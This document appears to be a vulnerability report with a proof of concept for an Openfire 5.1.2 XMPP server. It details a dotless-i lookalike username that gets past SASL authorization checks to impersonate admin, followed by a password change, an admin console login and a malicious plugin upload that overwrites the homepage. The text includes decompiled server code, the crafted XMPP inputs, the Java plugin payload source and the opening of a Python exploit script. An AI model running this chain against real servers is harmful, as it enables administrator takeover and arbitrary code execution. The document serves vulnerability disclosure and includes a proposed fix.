            throw new IllegalArgumentException("Invalid username: " + username, se);
        }
    }

gnu/inet/encoding/Stringprep.java (JADX reconstruction, 53–85):

    public static String nodeprep(String str) throws StringprepException, NullPointerException {
        return nodeprep(str, false);
    }

    public static String nodeprep(String str, boolean z) throws StringprepException, NullPointerException {
        if (str == null) {
            throw new NullPointerException();
        }
        RangeSet.Range rangeCreateTextRange = RangeSet.createTextRange(str);
        if (onlyPassThrough(NODEPREP_PASSTHROUGH_RANGES, rangeCreateTextRange)) {
            return str;
        }
        if (!z && RANGE_A1.containsAnyCodePoint(str, rangeCreateTextRange)) {
            throw new StringprepException(StringprepException.CONTAINS_UNASSIGNED);
        }
        StringBuilder sb = new StringBuilder(str);
        filter(sb, RANGE_B1);
        map(sb, RFC3454.B2search, RFC3454.B2replace);
        StringBuilder sb2 = new StringBuilder(NFKC.normalizeNFKC(sb.toString()));
        RangeSet.Range rangeCreateTextRange2 = RangeSet.createTextRange(sb2);
        if (RANGE_C3_TO_C8_C11_12_21_22_NP_PROHIB.containsAnyCodePoint(sb2, rangeCreateTextRange2)) {
            throw new StringprepException(StringprepException.CONTAINS_PROHIBITED);
        }
        boolean zContainsAnyCodePoint = RANGE_D1.containsAnyCodePoint(sb2, rangeCreateTextRange2);
        boolean zContainsAnyCodePoint2 = RANGE_D2.containsAnyCodePoint(sb2, rangeCreateTextRange2);
        if (zContainsAnyCodePoint && zContainsAnyCodePoint2) {
            throw new StringprepException(StringprepException.BIDI_BOTHRAL);
        }
        if (zContainsAnyCodePoint && (!RANGE_D1.contains(sb2.charAt(0)) || !RANGE_D1.contains(sb2.charAt(sb2.length() - 1)))) {
            throw new StringprepException(StringprepException.BIDI_LTRAL);
        }
        return sb2.toString();
    }

An independent Java check with this libidn 1.35 JAR found nodeprep("admın") == "admın", while Java "admın".equals("admin") was false and "admin".equalsIgnoreCase("admın") was true. The bug is a conflict between two identity equivalence rules; the names are not merged during storage.

SASL checks one password, then authorizes another account

The script sends a Base64 encoding of UTF-8 admin\0admın\0<registration password> as its PLAIN payload. The first field is requested authzid; the second is password-checked authcid. The following function passes them separately to the password and authorization callbacks.

org/jivesoftware/openfire/sasl/SaslServerPlainImpl.java (JADX reconstruction, 36–83):

    public byte[] evaluateResponse(byte[] response) throws SaslException {
        if (this.completed) {
            throw new IllegalStateException("PLAIN authentication already completed");
        }
        if (this.aborted) {
            throw new IllegalStateException("PLAIN authentication previously aborted due to error");
        }
        try {
            if (response.length != 0) {
                String data = new String(response, StandardCharsets.UTF_8);
                StringTokenizer tokens = new StringTokenizer(data, "\u0000");
                if (tokens.countTokens() > 2) {
                    this.authzid = tokens.nextToken();
                    this.authcid = tokens.nextToken();
                } else {
                    this.authcid = tokens.nextToken();
                    this.authzid = AuthorizationManager.map(this.authcid);
                }
                this.password = tokens.nextToken();
                Callback nameCallback = new NameCallback("PLAIN authentication ID: ", this.authcid);
                VerifyPasswordCallback vpcb = new VerifyPasswordCallback(this.password.toCharArray());
                this.cbh.handle(new Callback[]{nameCallback, vpcb});
                if (vpcb.getVerified()) {
                    vpcb.clearPassword();
                    Callback authorizeCallback = new AuthorizeCallback(this.authcid, this.authzid);
                    this.cbh.handle(new Callback[]{authorizeCallback});
                    if (authorizeCallback.isAuthorized()) {
                        this.authzid = authorizeCallback.getAuthorizedID();
                        this.completed = true;
                        return null;
                    }
                    this.completed = true;
                    this.authzid = null;
                    throw new SaslException("PLAIN: user not authorized: " + this.authcid);
                }
                throw new SaslException("PLAIN: user not authorized: " + this.authcid);
            }
            int i = this.counter;
            this.counter = i + 1;
            if (i > 1) {
                throw new SaslException("PLAIN expects a response");
            }
            return null;
        } catch (IOException | NoSuchElementException | UnsupportedCallbackException e) {
            this.aborted = true;
            throw new SaslException("PLAIN authentication failed for: " + this.authzid, e);
        }
    }

org/jivesoftware/openfire/net/XMPPCallbackHandler.java (JADX reconstruction, 25–77):

    public void handle(Callback[] callbacks) throws UnsupportedCallbackException, IOException {
        String name = null;
        for (Callback callback : callbacks) {
            if (callback instanceof RealmCallback) {
                ((RealmCallback) callback).setText(XMPPServer.getInstance().getServerInfo().getXMPPDomain());
            } else if (callback instanceof NameCallback) {
                name = ((NameCallback) callback).getName();
                if (name == null) {
                    name = ((NameCallback) callback).getDefaultName();
                }
                Log.trace("NameCallback: {}", name);
            } else if (callback instanceof PasswordCallback) {
                try {
                    ((PasswordCallback) callback).setPassword(AuthFactory.getPassword(name).toCharArray());
                    Log.trace("PasswordCallback");
                } catch (UnsupportedOperationException | UserNotFoundException e) {
                    throw new IOException(e.toString());
                }
            } else if (callback instanceof VerifyPasswordCallback) {
                Log.trace("VerifyPasswordCallback");
                VerifyPasswordCallback vpcb = (VerifyPasswordCallback) callback;
                try {
                    AuthToken at = AuthFactory.authenticate(name, new String(vpcb.getPassword()));
                    vpcb.setVerified(at != null);
                } catch (Exception e2) {
                    vpcb.setVerified(false);
                }
            } else if (callback instanceof AuthorizeCallback) {
                Log.trace("AuthorizeCallback");
                AuthorizeCallback authCallback = (AuthorizeCallback) callback;
                String authcid = authCallback.getAuthenticationID();
                String authzid = authCallback.getAuthorizationID();
                if (authzid != null && authzid.contains("@")) {
                    authzid = authzid.substring(0, authzid.lastIndexOf("@"));
                }
                if (authcid.equals(authzid)) {
                    authzid = AuthorizationManager.map(authcid);
                    Log.trace("No username requested, using {}", authzid);
                }
                if (AuthorizationManager.authorize(authzid, authcid)) {
                    Log.trace("{} authorized to {}", authcid, authzid);
                    authCallback.setAuthorized(true);
                    authCallback.setAuthorizedID(authzid);
                } else {
                    Log.trace("{} not authorized to {}", authcid, authzid);
                    authCallback.setAuthorized(false);
                }
            } else {
                Log.debug("Unsupported callback: {}" + callback.getClass().getSimpleName());
                throw new UnsupportedCallbackException(callback, "Unrecognized Callback");
            }
        }
    }

VerifyPasswordCallback calls AuthFactory.authenticate with admın and the registration password; it never checks the administrator’s password. The authorization callback then keeps authcid=admın and authzid=admin separate and calls AuthorizationManager.authorize(admin, admın). If authorization succeeds, the resulting identity is admin.

org/jivesoftware/openfire/auth/DefaultAuthorizationPolicy.java (JADX reconstruction, 13–79):

    public static final SystemProperty<Boolean> IGNORE_CASE = SystemProperty.Builder.ofType(Boolean.class).setKey("xmpp.auth.ignorecase").setDefaultValue(true).setDynamic(true).build();

    @Override // org.jivesoftware.openfire.auth.AuthorizationPolicy
    public boolean authorize(String authzid, String authcid) {
        boolean authorized = false;
        String authzUser = authzid;
        String authzRealm = null;
        String authcUser = authcid;
        String authcRealm = null;
        if (authzid.contains("@")) {
            authzUser = authzid.substring(0, authzid.lastIndexOf("@"));
            authzRealm = authzid.substring(authzid.lastIndexOf("@") + 1);
        }
        if (authcid.contains("@")) {
            authcUser = authcid.substring(0, authcid.lastIndexOf("@"));
            authcRealm = authcid.substring(authcid.lastIndexOf("@") + 1);
        }
        if ((!SASLAuthentication.PROXY_AUTH.getValue().booleanValue() || !AdminManager.getInstance().isUserAdmin(authcUser, true)) && !authzUser.equals(authcUser)) {
            if (IGNORE_CASE.getValue().booleanValue()) {
                if (!authzUser.equalsIgnoreCase(authcUser)) {
                    Log.debug("Authorization username {} doesn't match authentication username {}", authzUser, authcUser);
                    return false;
                }
            } else {
                Log.debug("Authorization username {} doesn't match authentication username {}", authzUser, authcUser);
                return false;
            }
        }
        Log.debug("Checking authcRealm");
        if (authcRealm != null) {
            if (authcRealm.equals(XMPPServerInfo.XMPP_DOMAIN.getValue())) {
                Log.trace("authcRealm = {}", XMPPServerInfo.XMPP_DOMAIN.getKey());
                authorized = true;
            } else if (authcRealm.equals(SASLAuthentication.REALM.getValue())) {
                Log.trace("authcRealm = sasl.realm");
                authorized = true;
            } else {
                for (String realm : SASLAuthentication.APPROVED_REALMS.getValue()) {
                    if (authcRealm.equals(realm)) {
                        Log.trace("authcRealm = {} which is approved", realm);
                        authorized = true;
                    } else {
                        Log.trace("authcRealm != {} which is approved", realm);
                    }
                }
            }
        } else {
            authorized = true;
        }
        if (!authorized) {
            return false;
        }
        boolean authorized2 = false;
        Log.debug("Checking authzRealm");
        if (authzRealm != null) {
            if (authzRealm.equals(XMPPServerInfo.XMPP_DOMAIN.getValue())) {
                Log.trace("authcRealm = {}", XMPPServerInfo.XMPP_DOMAIN.getKey());
                authorized2 = true;
            } else if (authcRealm != null && authcRealm.equals(authzRealm)) {
                Log.trace("DefaultAuthorizationPolicy: authcRealm = {} which is approved", authcRealm);
                authorized2 = true;
            }
        } else {
            authorized2 = true;
        }
        return authorized2;
    }

org/jivesoftware/openfire/auth/AuthorizationManager.java (JADX reconstruction, 76–100):

    public static boolean authorize(String authzid, String authcid) {
        for (AuthorizationPolicy ap : authorizationPolicies) {
            Log.trace("Trying if AuthorizationPolicy {} authorizes {} to act as {}", new Object[]{ap.name(), authcid, authzid});
            if (ap.authorize(authzid, authcid)) {
                try {
                    UserManager.getUserProvider().loadUser(authzid);
                    return true;
                } catch (UserNotFoundException nfe) {
                    Log.debug("User {} not found ", authzid, nfe);
                    if (!JiveGlobals.getBooleanProperty("xmpp.auth.autoadd", false) || UserManager.getUserProvider().isReadOnly() || UserManager.getUserProvider().isNameRequired() || UserManager.getUserProvider().isEmailRequired()) {
                        return false;
                    }
                    try {
                        UserManager.getInstance().createUser(authzid, StringUtils.randomString(8), null, null);
                        Log.info("AuthorizationManager: User {} created.", authzid);
                        return true;
                    } catch (UserAlreadyExistsException uaee) {
                        Log.error("AuthorizationManager: User {} already exists while attempting to add user.", authzid, uaee);
                        return false;
                    }
                }
            }
        }
        return false;
    }

With default IGNORE_CASE=true and no realms, authzUser.equals(authcUser) is false while authzUser.equalsIgnoreCase(authcUser) is true. The mismatch rejection branch is skipped. Both realm checks set their result true because both realms are null, so the policy returns true. AuthorizationManager also requires loadUser("admin") to succeed; the existing admin account satisfies that guard in the lab. This does not authorize an arbitrary nonexistent username. With xmpp.auth.ignorecase=false, and absent another permissive policy, this comparison path returns false.

The session code below shows how the auth token establishes the JID and why later getUsername() returns its node. The recorded bind result admin@192.168.247.128/laboris independently confirms the effect in the VM.

org/jivesoftware/openfire/session/LocalClientSession.java (JADX reconstruction, 342–367):

    public String getUsername() throws UserNotFoundException {
        if (this.authToken == null) {
            throw new UserNotFoundException();
        }
        return getAddress().getNode();
    }

    public void setAuthToken(AuthToken auth) {
        this.authToken = auth;
    }

    public void setAuthToken(AuthToken auth, @Nonnull String resource) {
        JID jid;
        if (auth.isAnonymous()) {
            jid = new JID(resource, getServerName(), resource);
        } else {
            jid = new JID(auth.getUsername(), getServerName(), resource);
        }
        setAddress(jid);
        this.authToken = auth;
        setStatus(Session.Status.AUTHENTICATED);
        if (!auth.isAnonymous()) {
            setDefaultList(PrivacyListManager.getInstance().getDefaultPrivacyList(auth.getUsername()));
        }
        this.sessionManager.addSession(this);
    }

HTTP administrator login and plugin execution

The packaged web.xml applies the AuthCheck filter to *.jsp.

openfire/plugins/admin/webapp/WEB-INF/web.xml (packaged file, 68–71):

    <filter-mapping>
        <filter-name>AuthCheck</filter-name>
        <url-pattern>*.jsp</url-pattern>
    </filter-mapping>

org/jivesoftware/admin/AuthCheckFilter.java (JADX reconstruction, 142–177):

    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
        response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
        String loginPage = this.defaultLoginPage;
        if (loginPage == null) {
            loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp");
        }
        String url = request.getRequestURI().substring(1);
        if (url.startsWith("plugins/")) {
            url = url.substring("plugins/".length());
        }
        boolean doExclude = false;
        for (String exclude : excludes) {
            if (testURLPassesExclude(url, exclude)) {
                doExclude = true;
                break;
            }
        }
        if ((!doExclude || IP_ACCESS_IGNORE_EXCLUDES.getValue().booleanValue()) && (!passesBlocklist(req) || !passesAllowList(req))) {
            response.sendError(403);
            return;
        }
        if (!doExclude) {
            WebManager manager = new WebManager();
            manager.init(request, response, request.getSession(), this.context);
            boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
            User loggedUser = manager.getUser();
            boolean loggedAdmin = loggedUser == null ? false : this.adminManager.isUserAdmin(loggedUser.getUsername(), true);
            if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
                response.sendRedirect(getRedirectURL(request, loginPage, null));
                return;
            }
        }
        chain.doFilter(req, res);
    }

An unauthenticated request to /plugin-admin.jsp is redirected; the retained request below returned 302. After changing the administrator password, the script logs in using the new password and matching CSRF cookie and field. The login code checks admin status, calls AuthFactory.authenticate, and stores the token in the session. The excerpt shows the relevant continuous section.

org/jivesoftware/openfire/admin/login_jsp.java (JADX reconstruction, 220–266):

                String username = ParamUtils.getParameter(request, "username");
                String password = ParamUtils.getParameter(request, "password");
                String url = StringUtils.escapeHTMLTags(ParamUtils.getParameter(request, "url"));
                String secret = ParamUtils.getParameter(request, "secret");
                String nodeID = ParamUtils.getParameter(request, "nodeID");
                ParamUtils.getParameter(request, "nonce");
                AuthToken authToken = null;
                Map<String, String> errors = new HashMap<>();
                boolean login = ParamUtils.getBooleanParameter(request, "login");
                Cookie csrfCookie = CookieUtils.getCookie(request, "csrf");
                String csrfParam = ParamUtils.getParameter(request, "csrf");
                if (login && (csrfCookie == null || csrfParam == null || !csrfCookie.getValue().equals(csrfParam))) {
                    login = false;
                    errors.put("csrf", "CSRF Failure!");
                }
                String csrfParam2 = StringUtils.randomString(15);
                CookieUtils.setCookie(request, response, "csrf", csrfParam2, -1);
                pageContext.setAttribute("csrf", csrfParam2);
                if (login) {
                    String loginUsername = username;
                    if (loginUsername != null) {
                        loginUsername = JID.escapeNode(loginUsername);
                    }
                    try {
                        if (secret != null && nodeID != null) {
                            if (!StringUtils.hash(AdminConsolePlugin.secret).equals(secret) || !ClusterManager.isClusterMember(Base64.getUrlDecoder().decode(nodeID))) {
                                throw new UnauthorizedException("SSO failed. Invalid secret or node ID was provided");
                            }
                            authToken = AuthToken.generateUserToken(loginUsername);
                        } else if (loginUsername == null) {
                            errors.put("unauthorized", LocaleUtils.getLocalizedString("login.failed.unauthorized"));
                        } else {
                            if (LoginLimitManager.getInstance().hasHitConnectionLimit(loginUsername, request.getRemoteAddr())) {
                                throw new UnauthorizedException("User '" + loginUsername + "' or address '" + request.getRemoteAddr() + "' has his login attempt limit.");
                            }
                            if (!AdminManager.getInstance().isUserAdmin(loginUsername, true)) {
                                throw new UnauthorizedException("User '" + loginUsername + "' not allowed to login.");
                            }
                            authToken = AuthFactory.authenticate(loginUsername, password);
                            session = admin.invalidateSession();
                        }
                        if (errors.isEmpty()) {
                            LoginLimitManager.getInstance().recordSuccessfulAttempt(loginUsername, request.getRemoteAddr());
                            session.setAttribute("jive.admin.authToken", authToken);
                            response.sendRedirect(go(url));
                            _jspxFactory.releasePageContext(pageContext);
                            return;

The upload servlet is mapped to /plugin-admin.jsp, with upload enabled by default.

org/jivesoftware/admin/servlet/PluginServlet.java (JADX reconstruction, 27–33):

@WebServlet({"/plugin-admin.jsp"})
@MultipartConfig
public class PluginServlet extends HttpServlet {
    private static final Logger Log = LoggerFactory.getLogger(PluginServlet.class);
    public static final SystemProperty<Boolean> PLUGINS_UPLOAD_ENABLED = SystemProperty.Builder.ofType(Boolean.class).setKey("plugins.upload.enabled").setDefaultValue(true).setDynamic(true).build();
    public static final SystemProperty<Boolean> CONTENTTYPE_CHECK_ENABLED = SystemProperty.Builder.ofType(Boolean.class).setKey("plugins.upload.content-type-check.enabled").setDefaultValue(false).setDynamic(true).build();
    public static final SystemProperty<List<String>> EXPECTED_CONTENTTYPE = SystemProperty.Builder.ofType(List.class).setKey("plugins.upload.content-type-check.expected-value").setDefaultValue(List.of("application/x-java-archive", "application/java-archive")).setDynamic(true).buildList(String.class);

org/jivesoftware/admin/servlet/PluginServlet.java (JADX reconstruction, 57–142):

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doCommon(request, response);
        WebManager webManager = (WebManager) request.getAttribute("webManager");
        PluginManager pluginManager = (PluginManager) request.getAttribute("pluginManager");
        boolean uploadEnabled = ((Boolean) request.getAttribute("uploadEnabled")).booleanValue();
        String deletePlugin = ParamUtils.getParameter(request, "deleteplugin");
        String reloadPlugin = ParamUtils.getParameter(request, "reloadplugin");
        boolean uploadPlugin = request.getParameter("uploadplugin") != null;
        Cookie csrfCookie = CookieUtils.getCookie(request, "csrf");
        String csrfParam = ParamUtils.getParameter(request, "csrf");
        boolean csrfError = csrfCookie == null || csrfParam == null || !csrfCookie.getValue().equals(csrfParam);
        String newCsrfParam = StringUtils.randomString(15);
        CookieUtils.setCookie(request, response, "csrf", newCsrfParam, -1);
        request.setAttribute("csrf", newCsrfParam);
        if (csrfError) {
            response.sendRedirect("plugin-admin.jsp?csrfError=true");
            return;
        }
        if (deletePlugin != null) {
            pluginManager.deletePlugin(deletePlugin);
            webManager.logEvent("deleted plugin " + deletePlugin, null);
            response.sendRedirect("plugin-admin.jsp?deletesuccess=true");
            return;
        }
        if (reloadPlugin != null) {
            if (pluginManager.reloadPlugin(reloadPlugin)) {
                webManager.logEvent("reloaded plugin " + reloadPlugin, null);
                response.sendRedirect("plugin-admin.jsp?reloadsuccess=true");
                return;
            } else {
                response.sendRedirect("plugin-admin.jsp?reloadsuccess=false");
                return;
            }
        }
        if (uploadEnabled && uploadPlugin) {
            boolean installed = false;
            try {
                Part uploadedPlugin = request.getPart("uploadfile");
                String fileName = uploadedPlugin.getSubmittedFileName();
                String contentType = uploadedPlugin.getContentType();
                Log.debug("Uploaded plugin '{}' content type: '{}'.", fileName, contentType);
                if (fileName == null) {
                    Log.error("Ignoring uploaded file: No filename specified for file upload.");
                    response.sendRedirect("plugin-admin.jsp?uploadsuccess=false");
                    return;
                }
                if (CONTENTTYPE_CHECK_ENABLED.getValue().booleanValue() && EXPECTED_CONTENTTYPE.getValue().stream().noneMatch(v -> {
                    return v.equalsIgnoreCase(contentType);
                })) {
                    Log.error("Ignoring uploaded file: Content type '{}' of uploaded file '{}' does not match any of the expected content types: {}", new Object[]{contentType, fileName, String.join(", ", EXPECTED_CONTENTTYPE.getValue())});
                    response.sendRedirect("plugin-admin.jsp?uploadsuccess=false");
                    return;
                }
                try {
                    InputStream is = uploadedPlugin.getInputStream();
                    try {
                        installed = XMPPServer.getInstance().getPluginManager().installPlugin(is, fileName);
                        if (!installed) {
                            Log.error("Plugin manager failed to install plugin: " + fileName);
                        } else {
                            webManager.logEvent("uploaded plugin " + fileName, null);
                        }
                        if (is != null) {
                            is.close();
                        }
                    } catch (Throwable th) {
                        if (is != null) {
                            try {
                                is.close();
                            } catch (Throwable th2) {
                                th.addSuppressed(th2);
                            }
                        }
                        throw th;
                    }
                } catch (IOException e) {
                    Log.error("Unable to open file stream for uploaded file: " + fileName, e);
                    response.sendRedirect("plugin-admin.jsp?uploadsuccess=false");
                    return;
                }
            } catch (Exception e2) {
                Log.error("Unable to upload plugin file.", e2);
            }
            response.sendRedirect("plugin-admin.jsp?uploadsuccess=" + installed);
        }
    }

The script supplies uploadplugin, a csrf field matching the cookie, and a plugin JAR in uploadfile. The filter first requires the admin session. In the servlet, the CSRF check passes and uploadEnabled && uploadPlugin is true; it reads the upload and calls installPlugin. The script treats uploadsuccess=true in the final URL as POST acceptance. Neither the original POST bytes nor its original redirect response was preserved.

org/jivesoftware/openfire/container/PluginManager.java (JADX reconstruction, 127–191):

    public boolean installPlugin(InputStream in, String pluginFilename) {
        if (pluginFilename == null || pluginFilename.isEmpty()) {
            Log.error("Error installing plugin: pluginFilename was null or empty.");
            return false;
        }
        if (in == null) {
            Log.error("Error installing plugin '{}': Input stream was null.", pluginFilename);
            return false;
        }
        try {
            BufferedInputStream bin = new BufferedInputStream(in);
            try {
                boolean magicNumberCheckEnabled = JiveGlobals.getBooleanProperty("plugins.upload.magic-number-check.enabled", true);
                if (magicNumberCheckEnabled && !validMagicNumbers(bin)) {
                    Log.error("Error installing plugin '{}': This does not appear to be a JAR file (unable to find a magic byte match).", pluginFilename);
                    bin.close();
                    return false;
                }
                pluginFilename = Paths.get(pluginFilename, new String[0]).getFileName().toString();
                Path absolutePath = this.pluginDirectory.resolve(pluginFilename);
                Path partFile = this.pluginDirectory.resolve(pluginFilename + ".part");
                Files.copy(bin, partFile, StandardCopyOption.REPLACE_EXISTING);
                try {
                    JarFile pluginJar = new JarFile(partFile.toFile());
                    try {
                        boolean pluginXMLCheckEnabled = JiveGlobals.getBooleanProperty("plugins.upload.pluginxml-check.enabled", true);
                        if (pluginXMLCheckEnabled && pluginJar.getEntry("plugin.xml") == null) {
                            Log.error("Error installing plugin '{}': Unable to find 'plugin.xml' in archive.", pluginFilename);
                            Files.deleteIfExists(partFile);
                            pluginJar.close();
                            bin.close();
                            return false;
                        }
                        pluginJar.close();
                        Files.move(partFile, absolutePath, StandardCopyOption.REPLACE_EXISTING);
                        this.pluginMonitor.runNow(true);
                        bin.close();
                        return true;
                    } catch (Throwable th) {
                        try {
                            pluginJar.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                        throw th;
                    }
                } catch (ZipException e) {
                    Log.error("Error installing plugin '{}': Cannot parse file into a JAR format.", pluginFilename, e);
                    Files.deleteIfExists(partFile);
                    bin.close();
                    return false;
                }
            } catch (Throwable th3) {
                try {
                    bin.close();
                } catch (Throwable th4) {
                    th3.addSuppressed(th4);
                }
                throw th3;
            }
        } catch (IOException e2) {
            Log.error("An exception occurred while installing new version of plugin '{}':", pluginFilename, e2);
            return false;
        }
    }

org/jivesoftware/openfire/container/PluginManager.java (JADX reconstruction, 363–399):

            Document pluginXML = SAXReaderUtil.readDocument(pluginConfig.toFile());
            String className = pluginXML.selectSingleNode("/plugin/class").getText().trim();
            ClassLoader originalClassLoader = Thread.currentThread().getContextClassLoader();
            try {
                Thread.currentThread().setContextClassLoader(pluginLoader);
                Plugin plugin = (Plugin) pluginLoader.loadClass(className).newInstance();
                Thread.currentThread().setContextClassLoader(originalClassLoader);
                this.classloaders.put(plugin, pluginLoader);
                this.pluginsLoaded.put(canonicalName, plugin);
                this.pluginDirs.put(canonicalName, pluginDir);
                if (parentPlugin != null) {
                    List<String> childrenPlugins = this.parentPluginMap.get(parentPlugin);
                    if (childrenPlugins == null) {
                        childrenPlugins = new ArrayList();
                        this.parentPluginMap.put(parentPlugin, childrenPlugins);
                    }
                    childrenPlugins.add(canonicalName);
                    this.childPluginMap.put(plugin, parentPluginName);
                }
                if (!DbConnectionManager.getSchemaManager().checkPluginSchema(plugin)) {
                    Log.error("Error while loading plugin '{}': {}", canonicalName, LocaleUtils.getLocalizedString("upgrade.database.failure"));
                    this.lastLoadWarnings.put(canonicalName, LocaleUtils.getLocalizedString("plugin.admin.failed.databaseScript"));
                }
                Path webXML = pluginDir.resolve("web").resolve("WEB-INF").resolve("web.xml");
                if (Files.exists(webXML, new LinkOption[0])) {
                    PluginServlet.registerServlets(this, plugin, webXML.toFile());
                }
                Path customWebXML = pluginDir.resolve("web").resolve("WEB-INF").resolve("web-custom.xml");
                if (Files.exists(customWebXML, new LinkOption[0])) {
                    PluginServlet.registerServlets(this, plugin, customWebXML.toFile());
                }
                configureCaches(pluginDir, canonicalName);
                ClassLoader oldLoader = Thread.currentThread().getContextClassLoader();
                Thread.currentThread().setContextClassLoader(pluginLoader);
                plugin.initializePlugin(this, pluginDir.toFile());
                Log.debug("Initialized plugin '{}'.", canonicalName);
                Thread.currentThread().setContextClassLoader(oldLoader);

installPlugin checks the JAR and plugin.xml, writes the plugin to disk, and triggers loading. The loader reads the class from plugin.xml, creates the plugin, and calls initializePlugin. The larger method’s version and dependency checks are omitted here; the observed plugin effect shows that they passed in this test. The plugin code follows:

poc/LaborisPlugin.java, lines 1–29 (delivered payload source).

package laboris;

import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import org.jivesoftware.openfire.container.Plugin;
import org.jivesoftware.openfire.container.PluginManager;

public final class LaborisPlugin implements Plugin {
    @Override
    public void initializePlugin(PluginManager manager, File pluginDirectory) {
        Path homepage = pluginDirectory.toPath()
            .resolve("../admin/webapp/index.html")
            .normalize();
        try {
            Files.writeString(homepage,
                "<!doctype html><html><body>Hacked by Laboris</body></html>\n",
                StandardCharsets.UTF_8);
        } catch (IOException e) {
            throw new IllegalStateException("Could not update admin homepage: " + homepage, e);
        }
    }

    @Override
    public void destroyPlugin() {
    }
}

Its initializePlugin writes the shown HTML to the admin webapp’s public homepage. An independent unauthenticated GET returned the same body, showing that plugin code ran and affected the public page in this lab. This does not establish root privileges for the Openfire process.

Version history. Commit be0eb669f87392affb67adddabd1571351e3ae40 on 2022-05-18 changed the comparison from lowercasing both names to equalsIgnoreCase. The inspected v4.7.5 uses the older comparison; v4.8.0beta is the earliest tag containing the commit, and the inspected v4.8.0, v4.9.2, v5.0.0, and v5.1.2 use the newer comparison. The complete chain was only tested on 5.1.2, so this does not establish exploitability on every other release. No fixed version was confirmed; upstream main still had the check when fetched.

A fix would compare identities using the same canonicalization rules as account storage. The default policy should allow the request only when both resolve to the same account; distinct accounts need an explicit proxy authorization policy. Unicode case folding alone is not enough to establish account identity. This is a proposed fix, not a verified patch.

Exploitation and verification

Environment and prerequisites. Authorized Ubuntu 24.04.3 x86_64 lab VM, Openfire 5.1.2, ports 5222/9090, existing admin account, and effective in-band registration, password changes, default case-insensitive authorization, and plugin upload. The Java libidn dependency is 1.35. The script uses STARTTLS but disables client certificate verification for the lab; exploitation does not rely on breaking TLS. Run from a fresh snapshot or a state in which admın has not been registered. The script changes the admin password, installs a plugin, and overwrites the homepage, so run it only in a restorable authorized lab and restore the snapshot afterward if needed.

Save the complete script below as poc/happycms_exploit.py and run:

python3 poc/happycms_exploit.py 192.168.247.128

The script generates its own registration and new administrator passwords. It briefly stores the registration password in a local state file so a failed run can be retried. The recorded version differs from the script below only by the final state-file cleanup; the cleanup version passed py_compile but was not rerun end to end.

XMPP inputs constructed by the script (passwords replaced with markers; not captured packets):

<iq type="set" id="reg1"><query xmlns="jabber:iq:register"><username>admın</username><password>[REDACTED_RANDOM_PASSWORD]</password></query></iq>
<auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" mechanism="PLAIN">BASE64("admin\0admın\0[REDACTED_RANDOM_PASSWORD]")</auth>
<iq type="set" id="pwd1"><query xmlns="jabber:iq:register"><username>admin</username><password>[REDACTED_NEW_PASSWORD]</password></query></iq>

The second line describes the input to Base64, rather than the actual transmitted Base64 bytes. The script also binds resource laboris.

Run output: The unauthenticated homepage initially returned HTTP 200 without the marker. The script then printed:

Baseline: HTTP 200, marker absent
[1/5] Registered distinct Unicode account
[2/5] Bound XMPP session as admin@192.168.247.128/laboris
[3/5] Updated admin password using the impersonated XMPP session
[4/5] Authenticated to the admin HTTP console
[5/5] Verified public homepage: http://192.168.247.128:9090/ -> Hacked by Laboris

Unauthenticated request to the plugin management page: JSESSIONID has been redacted, so this cookie cannot be replayed as shown:

GET /plugin-admin.jsp HTTP/1.1
Host: 192.168.247.128:9090
Connection: close
HTTP/1.1 302 Found
Date: Sat, 28 Nov 2026 05:37:22 GMT
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; base-uri 'self'; form-action 'self'; img-src 'self' igniterealtime.org;
X-Frame-Options: SAMEORIGIN
Set-Cookie: JSESSIONID=[REDACTED_JSESSIONID]; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: /login.jsp?url=%2Fplugin-admin.jsp
Content-Length: 0
Connection: close

Verification note: The original POST /plugin-admin.jsp that installed the plugin and its response were not captured. The http_install and multipart functions below show how the request fields and JAR were constructed; they are not a captured exchange.

Independent request to the public homepage:

GET / HTTP/1.1
Host: 192.168.247.128:9090
Connection: close
HTTP/1.1 200 OK
Date: Sat, 28 Nov 2026 05:31:50 GMT
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; base-uri 'self'; form-action 'self'; img-src 'self' igniterealtime.org;
Last-Modified: Sat, 28 Nov 2026 05:22:16 GMT
Content-Type: text/html
Accept-Ranges: bytes
Connection: close

<!doctype html><html><body>Hacked by Laboris</body></html>

The HTTP 200 response shows that the public page changed; it does not replace the missing plugin-upload capture.

Complete Python PoC:

#!/usr/bin/env python3
"""Unauthenticated HappyCMS/Openfire 5.1.2 lab exploit.

Runs from a fresh snapshot with no target credentials or SSH access. It
registers a Unicode username, authorizes an XMPP session as admin, changes
the admin password through in-band registration, and uploads a small Openfire
plugin that replaces the public port-9090 homepage with the required marker.
"""

import argparse
import base64
import io
import json
import os
import re
import secrets
import socket
import ssl
import sys
import tempfile
import time
import urllib.parse
import urllib.request
import xml.etree.ElementTree as ET
from http.cookiejar import CookieJar
from pathlib import Path
from zipfile import ZIP_DEFLATED, ZipFile


MARKER = "Hacked by Laboris"
LOOKALIKE = "adm\u0131n"  # U+0131 dotless i; distinct under nodeprep.
